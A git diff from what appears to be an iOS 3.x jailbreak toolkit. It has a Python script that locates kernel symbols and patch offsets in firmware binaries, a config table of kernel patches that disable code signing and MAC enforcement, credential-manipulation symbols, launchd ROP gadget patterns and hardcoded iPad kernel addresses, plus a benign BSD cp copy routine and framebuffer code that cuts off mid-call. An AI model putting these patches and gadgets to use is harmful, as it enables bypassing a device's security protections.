+ if stuff[-2] == '[Thumb]': + addr |= 1 + syms[name] = addr + return syms + +def get_sects(binary): + fp = open(binary, 'rb') + magic, cputype, cpusubtype, \ + filetype, filetype, ncmds, sizeofcmds, \ + flags = struct.unpack('IHHIIIII', fp.read(0x1c)) + sects = [] + stuff = '' + while True: + xoff = fp.tell() + if xoff >= sizeofcmds: break + cmd, clen = struct.unpack('II', fp.read(8)) + if cmd == 1: # LC_SEGMENT + fp.seek(xoff + 8) + name = fp.read(16) + name = name[:name.find('\0')] + #print name + fp.seek(xoff + 24) + vmaddr, vmsize, foff, fsiz = struct.unpack('IIII', fp.read(16)) + q = fp.tell() + fp.seek(foff) + k = len(stuff) + stuff += fp.read(fsiz) + sects.append((vmaddr, k, len(stuff))) + fp.seek(q) + fp.seek(xoff + clen) + fp.close() + return sects, stuff + +def do_binary(cfg, name): + d = cfg.get(name) + if d is None: return + binary = d['@binary'] + cachekey = hashlib.sha1(cPickle.dumps((d, os.path.getmtime(binary)), cPickle.HIGHEST_PROTOCOL)).digest() + if cache.has_key(cachekey): + cached = cache[cachekey] + d.update(cached) + return + + syms = get_syms(binary) + sects, stuff = get_sects(binary) + + tocache = {} + for k, v in d.iteritems(): + if k == '@binary' or not isinstance(v, basestring): continue + val = do_binary_kv(syms, sects, stuff, k, v) + d[k] = tocache[k] = val + cache[cachekey] = tocache + +def dolt(d): + cflags = '' + for k, v in d.iteritems(): + if not isinstance(k, basestring) or k.startswith('@'): continue + if isinstance(v, dict): + cflags += dolt(v) + continue + elif isinstance(v, (int, long)): + v = hex(v) + elif not isinstance(v, basestring): + continue + cflags += ' -DCONFIG_%s=%s' % (k.upper(), v) + return cflags + +def merge(a, b): + if isinstance(a, dict): + new = a.copy() + new.update(b) + for k in new: + if a.has_key(k) and b.has_key(k): + new[k] = merge(a[k], b[k]) + return new + else: + return b + +def get_data(platform): + d = data[platform] + if d.has_key('<'): + parent = d['<'] + del d['<'] + d = merge(get_data(parent), d) + return d + +def pretty_print(d): + for (name, d2) in d.items(): + if isinstance(d2, dict): + for (k, v) in d2.items(): + if isinstance(v, (long, int)): + print '%s -> %s: 0x%x' % (name, k, v) + +def go(platform): + d = get_data(platform) + do_binary(d, 'kern') + do_binary(d, 'launchd') + if verbose: + pretty_print(d) + open('config.json', 'w').write(json.dumps(d)+'\n') + cflags = dolt(d) + '\n' + open('config.cflags', 'w').write(cflags) + # Write a trivial map for testing + plistlib.writePlist({platform: 'igor/one.dylib'}, 'map.plist') + +parser = optparse.OptionParser() +parser.add_option('-v', '--verbose', action='store_true', dest='verbose', default=False) +(options, args) = parser.parse_args() +verbose = options.verbose +go(args[0]) diff --git a/igor/configdata.py b/igor/configdata.py new file mode 100644 index 0000000..63556fd --- /dev/null +++ b/igor/configdata.py @@ -0,0 +1,210 @@ +'.base': { + 'kern': { + 'patch2': '-_mac_proc_enforce', + 'patch4': '-_PE_i_can_has_debugger', + 'patch5': '-_cs_enforcement_disable', + 'patch6': '-_setup_kmem', + 'current_proc': '+_current_proc', + 'chgproccnt': '+_chgproccnt', + 'kauth_cred_setresuid': '+_kauth_cred_setresuid', + 'kauth_cred_proc_ref': '+_kauth_cred_proc_ref', + 'kauth_cred_unref': '+_kauth_cred_unref', + 'set_security_token': '+_set_security_token', + 'proc_lock': '+_proc_lock', + 'proc_unlock': '+_proc_unlock', + + # it's still thumb + 'patch4_to': 0x47702001, + + 'vnode_patch': '@ - 08 00 10 00', # must be 1st result + }, +}, +'.armv7': { + '<': '.base', + 'arch': 'armv7', + + 'launchd': { + # mov r0, #1; bx lr + -1: '@ + 01 20 70 47', + # ldr r0, [r0] -> _launch_data_new_errno + 0: '+ 00 68 .. .. .. .. 22 46 01 34', + # lsr r0, r0, #2 -> _setrlimit + 1: '60 69 29 46 + 80 08', + # add r0, #3 -> __exit + 2: 'b0 f1 ff 3f .. .. + 03 30 16 f0', + # ldmia r0, {r0-r3} -> _audit_token_to_au32 + 3: '8d e8 0f 00 0c f1 14 00 + 0f c8', + # str r2, [sp, #4] -> _launch_data_unpack + 4: '02 98 00 93 59 46 13 46 + 01 92', + # str r3, [sp, #8] -> _launch_data_dict_iterate + 5: '6a 46 01 93 01 33 + 02 93', + # pop {r4, r7, pc} + 6: '@ + 90 bd', + # sub.w sp, r7, #0xc; pop {r4-r7, pc} + 7: '@ + a7 f1 0c 0d f0 bd', + # mov r0, r4; mov r1, r5; mov r2, r6; + # blx _strlcpy; pop {r4-r7, pc} + 8: '16 46 .. .. .. .. .. .. + 20 46 29 46 32 46', + # str r0, [r5]; pop {r4-r7, pc} + 9: '@ + 28 60 f0 bd', + # ldr r0, [r4]; blx _pthread_detach + 10: '0b 46 20 46 .. .. .. .. 00 28 .. .. + 20 68', + # mov r0, r6; pop {r4-r7, pc} + 11: '@ + 30 46 f0 bd', + }, +}, +'.armv7_3.1.x': { + '<': '.armv7', + + 'kern': { + 'scratch': '!', + 'patch1': '% 02 0f 40 f0 .. .. 63 08 03 f0 01 05 e3 0a 13 f0 01 03 1e 93', + 'patch1_to': 0xf0400f00, + 'patch3': '61 1c 70 46 13 22 05 4b 98 47 % 00 ..', + 'patch3_to': 0x46c046c0, + } + +}, +'.armv7_3.2.x': { + '<': '.armv7', + 'arch': 'armv7', + + 'kern': { + 'patch1': '% 02 0f .. .. 63 08 03 f0 01 05 e3 0a 13 f0 01 03 1e 93', + 'patch1_to': 0x46c00f02, + 'patch3': '61 1c 13 22 .. 4b 98 47 00 .. %', + 'patch3_to': 0x1c201c20, + } + +}, +'.armv6_3.1.x': { + '<': '.base', + 'arch': 'armv6', + + 'launchd': { + # Not finished + + # mov r0, #1; bx lr + -1: '@ - 01 00 a0 e3 1e ff 2f e1', + # ldr r0, [r0] -> _launch_data_new_errno + 0: '- 00 00 90 e5 .. .. .. .. 04 20 a0 e1', + # lsr r0, r0, #2 -> _setrlimit + 1: '05 10 a0 e1 - 20 01 a0 e1 .. .. .. .. 01 00 70 e3', + # add r0, #3 -> __exit + 2: '01 00 00 .. - 03 00 80 e2', + # ldmia r0, {r0-r3} -> _audit_token_to_au32 + 3: '14 00 8c e2 - 0f 00 90 e8', + # str r2, [sp, #4] -> _launch_data_unpack + 4: '02 30 a0 e1 - 04 20 8d e5', + # str r3, [sp, #8] -> _launch_data_dict_iterate + 5: '0d 20 a0 e1 - 08 30 8d e5', + # pop {r4, r7, pc} + 6: '@ - 90 80 bd e8', + # sub.w sp, r7, #0xc; pop {r4-r7, pc} + 7: '@ - 0c d0 47 e2 f0 80 bd e8', + + # mov r0, r4; mov r1, r6; mov r2, r5; + # blx _strlcpy; pop {r4-r7, pc} + -8: '- 04 00 a0 e1 06 10 a0 e1 05 20 a0 e1 .. .. .. .. f0 80 bd e8', + # str r0, [r5]; pop {r4-r7, pc} + -9: '@ - 00 00 85 e5 b0 80 bd e8', + # ldr r0, [r4]; blx _pthread_detach + 10: '00 00 50 e3 .. .. .. .. - 00 00 94 e5 .. .. .. .. 00 10 50 e2', + # mov r0, r6; pop {r4-r7, pc} + 11: '@ - 06 00 a0 e1 f0 80 bd e8', + }, + + 'kern': { + 'scratch': '00 00 90 e5 00 10 91 e5 .. .. .. .. 33 ff 2f e1 01 00 70 e2 00 00 a0 33 80 80 bd e8 00 00 a0 e3 80 80 bd e8 .. .. .. .. -', + 'patch1': '- .. .. .. .. 6b 08 1e 1c eb 0a 01 22 1c 1c 16 40 14 40', + 'patch1_to': 0x46c046c0, + 'patch3': '13 20 a0 e3 .. .. .. .. 33 ff 2f e1 00 00 50 e3 00 00 00 0a .. 40 a0 e3 - 04 00 a0 e1 90 80 bd e8', + 'patch3_to': 0xe3a00001, + + } +}, +'iPhone1,1_3.1.2': { + '<': '.armv6_3.1.x', + 'kern': { '@binary': 'ipsw/iPhone1,1_3.1.2_7D11/kern' }, + 'launchd': { '@binary': 'ipsw/iPhone1,1_3.1.2_7D11/launchd' }, +}, +'iPhone2,1_3.1.2': { + '<': '.armv7_3.1.x', + 'kern': { '@binary': 'ipsw/iPhone2,1_3.1.2_7D11/kern' }, + 'launchd': { '@binary': 'ipsw/iPhone2,1_3.1.2_7D11/launchd' }, +}, +'iPhone2,1_3.1.3': { + '<': '.armv7_3.1.x', + 'kern': { '@binary': 'ipsw/iPhone2,1_3.1.3_7E18/kern' }, + 'launchd': { '@binary': 'ipsw/iPhone2,1_3.1.3_7E18/launchd' }, +}, +'iPod2,1_3.1.2': { + '<': '.armv6_3.1.x', + 'kern': { '@binary': 'ipsw/iPod2,1_3.1.2_7D11/kern' }, + 'launchd': { '@binary': 'ipsw/iPod2,1_3.1.2_7D11/launchd' }, +}, +'iPod3,1_3.1.3': { + '<': '.armv7_3.1.x', + 'kern': { '@binary': 'ipsw/iPod3,1_3.1.3_7E18/kern' }, + 'launchd': { '@binary': 'ipsw/iPod3,1_3.1.3_7E18/launchd' }, +}, +'iPod1,1_3.1.2': { + '<': '.armv6_3.1.x', + 'kern': { '@binary': 'ipsw/iPod1,1_3.1.2_7D11/kern' }, + 'launchd': { '@binary': 'ipsw/iPod1,1_3.1.2_7D11/launchd' }, +}, +'iPhone1,1_3.1.3': { + '<': '.armv6_3.1.x', + 'kern': { '@binary': 'ipsw/iPhone1,1_3.1.3_7E18/kern' }, + 'launchd': { '@binary': 'ipsw/iPhone1,1_3.1.3_7E18/launchd' }, +}, +'iPhone1,2_3.1.3': { + '<': '.armv6_3.1.x', + 'kern': { '@binary': 'ipsw/iPhone1,2_3.1.3_7E18/kern' }, + 'launchd': { '@binary': 'ipsw/iPhone1,2_3.1.3_7E18/launchd' }, +}, +'iPod3,1_3.1.2': { + '<': '.armv7_3.1.x', + 'kern': { '@binary': 'ipsw/iPod3,1_3.1.2_7D11/kern' }, + 'launchd': { '@binary': 'ipsw/iPod3,1_3.1.2_7D11/launchd' }, +}, +'iPhone1,2_3.1.2': { + '<': '.armv6_3.1.x', + 'kern': { '@binary': 'ipsw/iPhone1,2_3.1.2_7D11/kern' }, + 'launchd': { '@binary': 'ipsw/iPhone1,2_3.1.2_7D11/launchd' }, +}, +'iPad1,1_3.2': { + '<': '.armv7_3.2.x', + 'launchd': { '@binary': 'ipsw/ipad_dump/launchd' }, + 'kern': { + '@binary': 'ipsw/ipad_dump/kern', + 'scratch': 0xc07b3bec, + 'patch2': 0xc025dc8c, + 'patch4': 0xc01d17c0, + 'patch5': 0xc023fac0, + 'patch6': 0xc02558dc, + 'current_proc': 0xc017cbf1, + 'chgproccnt': 0xc014a0fd, + 'kauth_cred_setresuid': 0xc013b5e1, + 'kauth_cred_proc_ref': 0xc013b845, + 'kauth_cred_unref': 0xc013b159, + 'set_security_token': 0xc014a83d, + 'proc_lock': 0xc0146a99, + 'proc_unlock': 0xc0146a79, + } +}, +'iPod3,1_3.1.3': { + '<': '.armv7_3.1.x', + 'kern': { '@binary': 'ipsw/iPod3,1_3.1.3_7E18/kern' }, + 'launchd': { '@binary': 'ipsw/iPod3,1_3.1.3_7E18/launchd' }, +}, +'iPod2,1_3.1.3': { + '<': '.armv6_3.1.x', + 'kern': { '@binary': 'ipsw/iPod2,1_3.1.3_7E18/kern' }, + 'launchd': { '@binary': 'ipsw/iPod2,1_3.1.3_7E18/launchd' }, +}, +'iPod1,1_3.1.3': { + '<': '.armv6_3.1.x', + 'kern': { '@binary': 'ipsw/iPod1,1_3.1.3_7E18/kern' }, + 'launchd': { '@binary': 'ipsw/iPod1,1_3.1.3_7E18/launchd' }, +}, diff --git a/igor/copier.c b/igor/copier.c new file mode 100644 index 0000000..61df7d8 --- /dev/null +++ b/igor/copier.c @@ -0,0 +1,712 @@ +// so not thread-safe +/*- + * Copyright (c) 1991, 1993, 1994 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include + +typedef struct { + char *p_end; /* pointer to NULL at end of path */ + char *target_end; /* pointer to end of target base */ + char p_path[MAXPATHLEN]; /* pointer to the start of a path */ +} PATH_T; + +static int copy_fifo(struct stat *, int); +static int copy_file(FTSENT *, int); +static int copy_link(FTSENT *, int); +static int copy_special(struct stat *, int); +static int setfile(struct stat *, int); +static int setlink(struct stat *); + +static PATH_T to = { to.p_path, "" }; + +static ssize_t (*write_func)(int, const void *, size_t); +static uid_t myuid; +static int Rflag, fflag, iflag, pflag, rflag; +static mode_t myumask; + +enum op { FILE_TO_FILE, FILE_TO_DIR, DIR_TO_DNE }; + +static int copy(char *[], enum op, int); +static int mastercmp(const FTSENT **, const FTSENT **); +static char *find_last_component(char *); + + +static int +copy_file(FTSENT *entp, int dne) +{ + static char *buf; + static char *zeroes; + struct stat to_stat, *fs; + int ch, checkch, from_fd, rcount, rval, to_fd, wcount; +#ifdef VM_AND_BUFFER_CACHE_SYNCHRONIZED + char *p; +#endif + + if (!buf) { + buf = malloc(MAXBSIZE); + if (!buf) + err(1, "malloc"); + } + if (!zeroes) { + zeroes = malloc(MAXBSIZE); + if (!zeroes) + err(1, "malloc"); + memset(zeroes, 0, MAXBSIZE); + } + + if ((from_fd = open(entp->fts_path, O_RDONLY, 0)) == -1) { + warn("%s", entp->fts_path); + return (1); + } + + fs = entp->fts_statp; + + /* + * In -f (force) mode, we always unlink the destination first + * if it exists. Note that -i and -f are mutually exclusive. + */ + if (!dne && fflag) + (void)unlink(to.p_path); + + /* + * If the file exists and we're interactive, verify with the user. + * If the file DNE, set the mode to be the from file, minus setuid + * bits, modified by the umask; arguably wrong, but it makes copying + * executables work right and it's been that way forever. (The + * other choice is 666 or'ed with the execute bits on the from file + * modified by the umask.) + */ + if (!dne && !fflag) { + if (iflag) { + (void)fprintf(stderr, "overwrite %s? ", to.p_path); + checkch = ch = getchar(); + while (ch != '\n' && ch != EOF) + ch = getchar(); + if (checkch != 'y' && checkch != 'Y') { + (void)close(from_fd); + return (0); + } + } + to_fd = open(to.p_path, O_WRONLY | O_TRUNC, 0); + } else + to_fd = open(to.p_path, O_WRONLY | O_TRUNC | O_CREAT, + fs->st_mode & ~(S_ISTXT | S_ISUID | S_ISGID)); + + if (to_fd == -1) { + warn("%s", to.p_path); + (void)close(from_fd); + return (1); + } + + rval = 0; + + /* + * Mmap and write if less than 8M (the limit is so we don't totally + * trash memory on big files. This is really a minor hack, but it + * wins some CPU back. + */ +#ifdef VM_AND_BUFFER_CACHE_SYNCHRONIZED + if (fs->st_size <= 8 * 1048576) { + if ((p = mmap(NULL, (size_t)fs->st_size, PROT_READ, + MAP_FILE|MAP_SHARED, from_fd, (off_t)0)) == MAP_FAILED) { + warn("mmap: %s", entp->fts_path); + rval = 1; + } else { + madvise(p, fs->st_size, MADV_SEQUENTIAL); + if (write_func(to_fd, p, fs->st_size) != fs->st_size) { + warn("%s", to.p_path); + rval = 1; + } + /* Some systems don't unmap on close(2). */ + if (munmap(p, fs->st_size) < 0) { + warn("%s", entp->fts_path); + rval = 1; + } + } + } else +#endif + { + int skipholes = 0; + struct stat tosb; + if (!fstat(to_fd, &tosb) && S_ISREG(tosb.st_mode)) + skipholes = 1; + while ((rcount = read(from_fd, buf, MAXBSIZE)) > 0) { + if (skipholes && memcmp(buf, zeroes, rcount) == 0) + wcount = lseek(to_fd, rcount, SEEK_CUR) == -1 ? -1 : rcount; + else + wcount = write_func(to_fd, buf, rcount); + if (rcount != wcount || wcount == -1) { + warn("%s", to.p_path); + rval = 1; + break; + } + } + if (skipholes && rcount >= 0) + rcount = ftruncate(to_fd, fs->st_size); + if (rcount < 0) { + warn("%s", entp->fts_path); + rval = 1; + } + } + + if (rval == 1) { + (void)close(from_fd); + (void)close(to_fd); + return (1); + } + + if (pflag && setfile(fs, to_fd)) + rval = 1; + /* + * If the source was setuid or setgid, lose the bits unless the + * copy is owned by the same user and group. + */ +#define RETAINBITS \ + (S_ISUID | S_ISGID | S_ISVTX | S_IRWXU | S_IRWXG | S_IRWXO) + else if (fs->st_mode & (S_ISUID | S_ISGID) && fs->st_uid == myuid) { + if (fstat(to_fd, &to_stat)) { + warn("%s", to.p_path); + rval = 1; + } else if (fs->st_gid == to_stat.st_gid && + fchmod(to_fd, fs->st_mode & RETAINBITS & ~myumask)) { + warn("%s", to.p_path); + rval = 1; + } + } + (void)close(from_fd); + if (close(to_fd)) { + warn("%s", to.p_path); + rval = 1; + } + return (rval); +} + +static int +copy_link(FTSENT *p, int exists) +{ + int len; + char link[MAXPATHLEN]; + + if ((len = readlink(p->fts_path, link, sizeof(link)-1)) == -1) { + warn("readlink: %s", p->fts_path); + return (1); + } + link[len] = '\0'; + if (exists && unlink(to.p_path)) { + warn("unlink: %s", to.p_path); + return (1); + } + if (symlink(link, to.p_path)) { + warn("symlink: %s", link); + return (1); + } + return (pflag ? setlink(p->fts_statp) : 0); +} + +static int +copy_fifo(struct stat *from_stat, int exists) +{ + if (exists && unlink(to.p_path)) { + warn("unlink: %s", to.p_path); + return (1); + } + if (mkfifo(to.p_path, from_stat->st_mode)) { + warn("mkfifo: %s", to.p_path); + return (1); + } + return (pflag ? setfile(from_stat, 0) : 0); +} + +static int +copy_special(struct stat *from_stat, int exists) +{ + if (exists && unlink(to.p_path)) { + warn("unlink: %s", to.p_path); + return (1); + } + if (mknod(to.p_path, from_stat->st_mode, from_stat->st_rdev)) { + warn("mknod: %s", to.p_path); + return (1); + } + return (pflag ? setfile(from_stat, 0) : 0); +} + + +static int +setfile(struct stat *fs, int fd) +{ + static struct timeval tv[2]; + int rval; + + rval = 0; + fs->st_mode &= S_ISTXT | S_ISUID | S_ISGID | S_IRWXU | S_IRWXG | S_IRWXO; + + TIMESPEC_TO_TIMEVAL(&tv[0], &fs->st_atimespec); + TIMESPEC_TO_TIMEVAL(&tv[1], &fs->st_mtimespec); + if (utimes(to.p_path, tv)) { + warn("utimes: %s", to.p_path); + rval = 1; + } + /* + * Changing the ownership probably won't succeed, unless we're root + * or POSIX_CHOWN_RESTRICTED is not set. Set uid/gid before setting + * the mode; current BSD behavior is to remove all setuid bits on + * chown. If chown fails, lose setuid/setgid bits. + */ + if (fd ? fchown(fd, fs->st_uid, fs->st_gid) : + chown(to.p_path, fs->st_uid, fs->st_gid)) { + if (errno != EPERM) { + warn("chown: %s", to.p_path); + rval = 1; + } + fs->st_mode &= ~(S_ISTXT | S_ISUID | S_ISGID); + } + if (fd ? fchmod(fd, fs->st_mode) : chmod(to.p_path, fs->st_mode)) { + warn("chmod: %s", to.p_path); + rval = 1; + } + + /* + * XXX + * NFS doesn't support chflags; ignore errors unless there's reason + * to believe we're losing bits. (Note, this still won't be right + * if the server supports flags and we were trying to *remove* flags + * on a file that we copied, i.e., that we didn't create.) + */ + errno = 0; + if (fd ? fchflags(fd, fs->st_flags) : chflags(to.p_path, fs->st_flags)) + if (errno != EOPNOTSUPP || fs->st_flags != 0) { + warn("chflags: %s", to.p_path); + rval = 1; + } + return (rval); +} + + +static int +setlink(struct stat *fs) +{ + + if (lchown(to.p_path, fs->st_uid, fs->st_gid)) { + if (errno != EPERM) { + warn("lchown: %s", to.p_path); + return (1); + } + } + return (0); +} + +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define fts_dne(_x) (_x->fts_pointer != NULL) +int +do_copy(char *from_, char *to_, ssize_t (*write_func_)(int, const void *, size_t)) +{ + struct stat to_stat, tmp_stat; + enum op type; + int Hflag, Lflag, Pflag, ch, fts_options, r; + char *target; + char *argv[3]; + argv[0] = from_; + argv[1] = to_; + int argc = 2; + + write_func = write_func_; + + Hflag = Lflag = Pflag = Rflag = 0; + pflag = Pflag = Rflag = 1; // -a + + fts_options = FTS_NOCHDIR | FTS_PHYSICAL; + if (rflag) { + if (Rflag) + errx(1, + "the -R and -r options may not be specified together."); + if (Hflag || Lflag || Pflag) + errx(1, + "the -H, -L, and -P options may not be specified with the -r option."); + fts_options &= ~FTS_PHYSICAL; + fts_options |= FTS_LOGICAL; + } + if (Rflag) { + if (Hflag) + fts_options |= FTS_COMFOLLOW; + if (Lflag) { + fts_options &= ~FTS_PHYSICAL; + fts_options |= FTS_LOGICAL; + } + } else { + fts_options &= ~FTS_PHYSICAL; + fts_options |= FTS_LOGICAL; + } + + myuid = getuid(); + + /* Copy the umask for explicit mode setting. */ + myumask = umask(0); + (void)umask(myumask); + + /* Save the target base in "to". */ + target = argv[--argc]; + if (strlcpy(to.p_path, target, sizeof to.p_path) >= sizeof(to.p_path)) + errx(1, "%s: name too long", target); + to.p_end = to.p_path + strlen(to.p_path); + if (to.p_path == to.p_end) { + *to.p_end++ = '.'; + *to.p_end = '\0'; + } + to.target_end = to.p_end; + + /* Set end of argument list for fts(3). */ + argv[argc] = NULL; + + /* + * Cp has two distinct cases: + * + * cp [-R] source target + * cp [-R] source1 ... sourceN directory + * + * In both cases, source can be either a file or a directory. + * + * In (1), the target becomes a copy of the source. That is, if the + * source is a file, the target will be a file, and likewise for + * directories. + * + * In (2), the real target is not directory, but "directory/source". + */ + r = stat(to.p_path, &to_stat); + if (r == -1 && errno != ENOENT) + err(1, "%s", to.p_path); + if (r == -1 || !S_ISDIR(to_stat.st_mode)) { + /* + * Case (1). Target is not a directory. + */ + if (argc > 1) + return 1; + /* + * Need to detect the case: + * cp -R dir foo + * Where dir is a directory and foo does not exist, where + * we want pathname concatenations turned on but not for + * the initial mkdir(). + */ + if (r == -1) { + if (rflag || (Rflag && (Lflag || Hflag))) + stat(*argv, &tmp_stat); + else + lstat(*argv, &tmp_stat); + + if (S_ISDIR(tmp_stat.st_mode) && (Rflag || rflag)) + type = DIR_TO_DNE; + else + type = FILE_TO_FILE; + } else + type = FILE_TO_FILE; + } else { + /* + * Case (2). Target is a directory. + */ + //type = FILE_TO_DIR; + err(1, "xxx"); + } + + return copy(argv, type, fts_options); +} + +static char * +find_last_component(char *path) +{ + char *p; + + if ((p = strrchr(path, '/')) == NULL) + p = path; + else { + /* Special case foo/ */ + if (!*(p+1)) { + while ((p >= path) && *p == '/') + p--; + + while ((p >= path) && *p != '/') + p--; + } + + p++; + } + + return (p); +} + +static int +copy(char *argv[], enum op type, int fts_options) +{ + struct stat to_stat; + FTS *ftsp; + FTSENT *curr; + int base, nlen, rval; + char *p, *target_mid; + base = 0; + + if ((ftsp = fts_open(argv, fts_options, mastercmp)) == NULL) + err(1, NULL); + for (rval = 0; (curr = fts_read(ftsp)) != NULL;) { + switch (curr->fts_info) { + case FTS_NS: + case FTS_DNR: + case FTS_ERR: + warnx("%s: %s", + curr->fts_path, strerror(curr->fts_errno)); + rval = 1; + continue; + case FTS_DC: + warnx("%s: directory causes a cycle", curr->fts_path); + rval = 1; + continue; + } + + /* + * If we are in case (2) or (3) above, we need to append the + * source name to the target name. + */ + if (type != FILE_TO_FILE) { + /* + * Need to remember the roots of traversals to create + * correct pathnames. If there's a directory being + * copied to a non-existent directory, e.g. + * cp -R a/dir noexist + * the resulting path name should be noexist/foo, not + * noexist/dir/foo (where foo is a file in dir), which + * is the case where the target exists. + * + * Also, check for "..". This is for correct path + * concatenation for paths ending in "..", e.g. + * cp -R .. /tmp + * Paths ending in ".." are changed to ".". This is + * tricky, but seems the easiest way to fix the problem. + * + * XXX + * Since the first level MUST be FTS_ROOTLEVEL, base + * is always initialized. + */ + if (curr->fts_level == FTS_ROOTLEVEL) { + if (type != DIR_TO_DNE) { + p = find_last_component(curr->fts_path); + base = p - curr->fts_path; + + if (!strcmp(&curr->fts_path[base], + "..")) + base += 1; + } else + base = curr->fts_pathlen; + } + + p = &curr->fts_path[base]; + nlen = curr->fts_pathlen - base; + target_mid = to.target_end; + if (*p != '/' && target_mid[-1] != '/') + *target_mid++ = '/'; + *target_mid = '\0'; + if (target_mid - to.p_path + nlen >= MAXPATHLEN) { + warnx("%s%s: name too long (not copied)", + to.p_path, p); + rval = 1; + continue; + } + (void)strncat(target_mid, p, nlen); + to.p_end = target_mid + nlen; + *to.p_end = '\0'; + } + + /* Not an error but need to remember it happened */ + if (stat(to.p_path, &to_stat) == -1) { + if (curr->fts_info == FTS_DP) + continue; + /* + * We use fts_pointer as a boolean to indicate that + * we created this directory ourselves. We'll use + * this later on via the fts_dne macro to decide + * whether or not to set the directory mode during + * the post-order pass. + */ + curr->fts_pointer = (void *)1; + } else { + /* + * Set directory mode/user/times on the post-order + * pass. We can't do this earlier because the mode + * may not allow us write permission. Furthermore, + * if we set the times during the pre-order pass, + * they will get changed later when the directory + * is populated. + */ + if (curr->fts_info == FTS_DP) { + if (!S_ISDIR(to_stat.st_mode)) + continue; + /* + * If not -p and directory didn't exist, set + * it to be the same as the from directory, + * unmodified by the umask; arguably wrong, + * but it's been that way forever. + */ + if (pflag && setfile(curr->fts_statp, 0)) + rval = 1; + else if (fts_dne(curr)) + (void)chmod(to.p_path, + curr->fts_statp->st_mode); + continue; + } + if (to_stat.st_dev == curr->fts_statp->st_dev && + to_stat.st_ino == curr->fts_statp->st_ino) { + warnx("%s and %s are identical (not copied).", + to.p_path, curr->fts_path); + rval = 1; + if (S_ISDIR(curr->fts_statp->st_mode)) + (void)fts_set(ftsp, curr, FTS_SKIP); + continue; + } + if (!S_ISDIR(curr->fts_statp->st_mode) && + S_ISDIR(to_stat.st_mode)) { + warnx("cannot overwrite directory %s with non-directory %s", + to.p_path, curr->fts_path); + rval = 1; + continue; + } + } + + switch (curr->fts_statp->st_mode & S_IFMT) { + case S_IFLNK: + if (copy_link(curr, !fts_dne(curr))) + rval = 1; + break; + case S_IFDIR: + if (!Rflag && !rflag) { + warnx("%s is a directory (not copied).", + curr->fts_path); + (void)fts_set(ftsp, curr, FTS_SKIP); + rval = 1; + break; + } + /* + * If the directory doesn't exist, create the new + * one with the from file mode plus owner RWX bits, + * modified by the umask. Trade-off between being + * able to write the directory (if from directory is + * 555) and not causing a permissions race. If the + * umask blocks owner writes, we fail.. + */ + if (fts_dne(curr)) { + if (mkdir(to.p_path, + curr->fts_statp->st_mode | S_IRWXU) < 0) + err(1, "%s", to.p_path); + } else if (!S_ISDIR(to_stat.st_mode)) { + errno = ENOTDIR; + err(1, "%s", to.p_path); + } + break; + case S_IFBLK: + case S_IFCHR: + if (Rflag) { + if (copy_special(curr->fts_statp, !fts_dne(curr))) + rval = 1; + } else + if (copy_file(curr, fts_dne(curr))) + rval = 1; + break; + case S_IFIFO: + if (Rflag) { + if (copy_fifo(curr->fts_statp, !fts_dne(curr))) + rval = 1; + } else + if (copy_file(curr, fts_dne(curr))) + rval = 1; + break; + case S_IFSOCK: + warnx("%s: %s", curr->fts_path, strerror(EOPNOTSUPP)); + break; + default: + if (copy_file(curr, fts_dne(curr))) + rval = 1; + break; + } + } + if (errno) + err(1, "fts_read"); + (void)fts_close(ftsp); + return (rval); +} + +/* + * mastercmp -- + * The comparison function for the copy order. The order is to copy + * non-directory files before directory files. The reason for this + * is because files tend to be in the same cylinder group as their + * parent directory, whereas directories tend not to be. Copying the + * files first reduces seeking. + */ +static int +mastercmp(const FTSENT **a, const FTSENT **b) +{ + int a_info, b_info; + + a_info = (*a)->fts_info; + if (a_info == FTS_ERR || a_info == FTS_NS || a_info == FTS_DNR) + return (0); + b_info = (*b)->fts_info; + if (b_info == FTS_ERR || b_info == FTS_NS || b_info == FTS_DNR) + return (0); + if (a_info == FTS_D) + return (-1); + if (b_info == FTS_D) + return (1); + return (0); +} + diff --git a/igor/debug b/igor/debug new file mode 100644 index 0000000..d00491f --- /dev/null +++ b/igor/debug @@ -0,0 +1 @@ +1 diff --git a/igor/fb.c b/igor/fb.c new file mode 100644 index 0000000..940843e --- /dev/null +++ b/igor/fb.c @@ -0,0 +1,148 @@ +#define CFCOMMON +#define IOSFC_BUILDING_IOSFC +#include "common.h" +#include +#include +#include +#include +#include +#include +#include "fb.h" + +#define BAR_BG 0xff9f9f9f +#define BAR_FG 0xffffffff + +static IOMobileFramebufferConnection conn; +static CoreSurfaceBufferRef surface, oldsurface; +static size_t bufwidth, bufheight, barwidth; +static bool flipped; + +static void draw_background(void *base) { + CGDataProviderRef provider = CGDataProviderCreateWithFilename("/var/mobile/Media/spirit/bg.jpg"); + CGImageRef img = CGImageCreateWithJPEGDataProvider(provider, NULL, false, kCGRenderingIntentPerceptual); + CGColorSpaceRef color = CGColorSpaceCreateDeviceRGB(); + CGContextRef cgctx = CGBitmapContextCreate(base, CGImageGetWidth(img), CGImageGetHeight(img), 8, 